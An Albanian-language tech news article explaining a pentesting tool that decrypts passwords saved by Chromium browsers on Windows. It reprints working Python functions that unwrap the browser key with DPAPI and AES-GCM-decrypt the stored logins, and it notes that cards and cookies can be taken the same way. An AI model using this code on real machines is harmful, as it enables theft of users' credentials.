Pentesterët zakonisht përdorin të njëjtat metoda si krijuesit e maluerëve, por nuk kanë qëllime të njëjta. Prandaj kur lexojnë rreth tematikave si aksesi i kredencialeve të përdoruesve, gjëja e parë që ju shkon në mendje është dëshira për ta bërë edhe ata.
I tillë është edhe CTO i Alerta i cili ishte vënë në kërkim të një metode për të dekriptuar të dhënat që shfletuesit Chromium në Windows përpiqen ti mbajnë të fshehta.
Chromium është baza e shumë shfletuesve nga Chrome, Microsoft Edge, Opera dhe Brave. Ndërsa Windows është destinacioni kryesor i pentesting.
Ai shikoi se shumica e projekteve në GitHub që duhej të dekriptonin fjalëkalimet nuk funksionon më. Chromium ka ndryshuar mënyrën sesi ruan fjalëkalimet dhe projektet nuk janë përditësuar.
Kështu ai shkarkoi kodin burimor të Chromium, analizoi kodin C++ për funksionet kriptografike të Windows për të parë sesi funksionon e gjitha.
Sapo një përdorues hyn në Windows, çdo gjë enkriptuar nga përdoruesi është i disponueshëm edhe për dekriptim. Nuk është një problem dizajni, më tepër një sakrificë për më tepër përdorshmëri.
Kështu nuk ju kërkohet fjalëkalim sa herë që hyni në një uebsajt.
Elementët kryesorë që kanë të bëjnë me dekriptimin e të dhënave të përdoruesit janë:
Versionet e vjetra të Chromium nuk përdornin asgjë tjetër vetëm Login Data dhe DPAPI. Të gjitha fjalëkalimet ishin të enkriptuara me CryptProtectData të DPAPI dhe dekriptohen nga CryptUnprotectData. Chromium çdo fjalëkalim të ruajtur në SQLite3 e etiketon me DPAPI.
Ka kaluar kohë tashmë dhe Chrome ka një model të re. Kur shfletuesit starton shkon tek skedari JSON në Local State dhe ekstraton çelësin e brendshëm në formë të enkriptuar. Më pas thirr DPAPI CryptUnprotectData për të dekriptuar çelësin. Ky është procesi i fundit që shohim nga DPAPI. Kur vjen koha për tëpërdorur fjalëkalimin e enkriptuar nga Login Data, Chromium përdor librarinë AES dhe çelësin e dekriptuar për të deskriptuar fjalëkalimin. Dhe më pas shkon tek forma e kyçjes ku edhe shihet fjalëkalimi në tekst të lexueshëm.
BrowserScan
ky është i gjithë informacioni i nevojshëm për të dekriptuar fjalëkalimet por Kirby Angel ka shkuar më tutje duke shkruar një program në Python për ta bërë këtë. Programin e gjeni në BrowserScan në github dhe vjen me një .EXE prodhuar nga pyinstaller.
Kodi ka komentet e veta por këtu do të mbulojmë vetëm disa pjesë të rëndësishme të tij.
Dekriptimi i çelësit të brendshëm
Mëposhtë gjeni funksionin e çelësit të brendshëm që përdoret për të dekriptuar fjalëkalimet e përdoruesit.
def _getchromekey(self, browser):
chromekey = None
try:
state = json.load(open(“Local State”,’r’))
encrypted_key = state[“os_crypt”][“encrypted_key”]
encrypted_key = base64.b64decode(encrypted_key)
if encrypted_key.startswith(b”DPAPI”):
chromekey = win32crypt.CryptUnprotectData(encrypted_key[ \
len(b”DPAPI”):])[1]
else:
chromekey = encrypted_key
except:
print(” [*] Chromium encryption key not found or not usable; maybe older version”)
browser[“chromekey”] = chromekey
return chromekey
Pasi analizojmë skedarin Local State duke përdorur analizuesin json të integruar, mund të ekstraktojmë versionin e enkriptuar të çelësit të brendshëm.
encrypted_key = state[“os_crypt”][“encrypted_key”]
Është i enkoduar me base64 dhe duhet dekoduar fillimisht.
if encrypted_key.startswith(“DPAPI”):
chromekey = win32crypt.CryptUnprotectData(encrypted_key[len(“DPAPI”):])[1]
Heqim headerin dhe thirrim CryptUnprotectData për të marrë çelësin në tekst të lexueshëm.
_decrypt_passwords
def _decrypt_passwords(self, browser):
browser[“passwords”] = passwords = {}
try:
db = sqlite3.connect(browser[“password_file”])
except:
print(” [-] Unable to open password file; expected a SQLite3 database.”)
return None
cursor = db.cursor()
cursor.execute(“SELECT origin_url, username_value, password_value FROM logins”)
data = cursor.fetchall()
for url, username, ciphertext in data:
plaintext = self.decrypt_ciphertext(browser, ciphertext)
if plaintext:
passwords[url] = (url, username, plaintext)
else:
print(” [-] Error decrypting password for ‘%s’.” % url)
Ky aplikacion ka fuqinë për të gjurmuar instalimet e shfletuesve Chrome dhe nuk keni nevojë të specifikoni kur e lançoni. Kështu kodi kalon përmes një diktimi quajtur browser që përmban çdo gjë që kemi lexuar rreth një shfletuesi të caktuar. Në këtë rast do të dekriptojmë Login Data.
Nëse nuk e njihni mirë Python SQLite3 atëherë në këtë lidhje gjeni një tutorial.
Pjesa tjetër e funksioni është të shkojë tek çdo regjistër dhe të thirrë decrypt_ciphertext për çdo fjalëkalim.
decrypt_ciphertext
def decrypt_ciphertext(self, browser, ciphertext):
plaintext = chromekey = None
if “chromekey” in browser:
chromekey = browser[“chromekey”]
# If this is a Chrome v10 encrypted password
if ciphertext.startswith(b”v10″):
ciphertext = ciphertext[len(b”v10″):]
nonce = ciphertext[:ChromiumScanner.CHROME_NONCE_LENGTH]
ciphertext = ciphertext[ChromiumScanner.CHROME_NONCE_LENGTH:]
# TODO: get rid of magic number
ciphertext = ciphertext[:-16]
cipher = AES.new(chromekey,AES.MODE_GCM,nonce=nonce)
plaintext = cipher.decrypt(ciphertext).decode(“UTF-8″)
elif ciphertext.startswith(b”DPAPI”):
plaintext = win32crypt.CryptUnprotectData(ciphertext[ \
len(b”DPAPI”):])[1].decode(“UTF-8”)
return plaintext
Njëlloj si prefeksi DPAPI, çdo e dhënë që Chromium enkripton me implementimin e vet AES, merr një prefiks. Në këtë rast është v10. Pjesa tjetër e kodit përgatit Python AES për të dekriptuar. Pas të heqim prefiksin, mund ta kopjojmë menjëherë. Deskriptuar AES kërkon një nonce në mënyrë që Chromium ta furnizojë me 12 bajt pas prefiksit. E kopjojmë atë dhe shkëpusim nga ciphertext.
Kështu jemi gati për konfigurimin e Python AES dhe të dekriptojmë ciphertext në një fjalëkalim të lexueshëm. Në fund konvertojmë bajtët në një string me.decode(“UTF-9”).
cipher = AES.new(chromekey,AES.MODE_GCM,nonce=nonce)
plaintext = cipher.decrypt(ciphertext).decode(“UTF-8”)
Konkluzioni
Kur aktivizoni aplikacionin të dhënat do të gjehen në një direktori quajtur browser-loot. Chromium ruan shumë gjëra në databazat SQLite në të njëjtën mënyrë siç bën me fjalëkalimet. Kartat e kreditit përshembull mund të marrin numrin e kartës, emrin dhe skadimin. Çdogjë është aty, madje edhe cookies. Sigurisht mund të përdorni verifikimin me dy faktor nëse emri i përdoruesit dhe fjalëkalimi nuk janë të mjaftueshme për sigurinë.
Dhe diçka të fundit, fjalëkalimet ripërdoren e madje edhe në shërbime të tjera. /PCWorld Albanian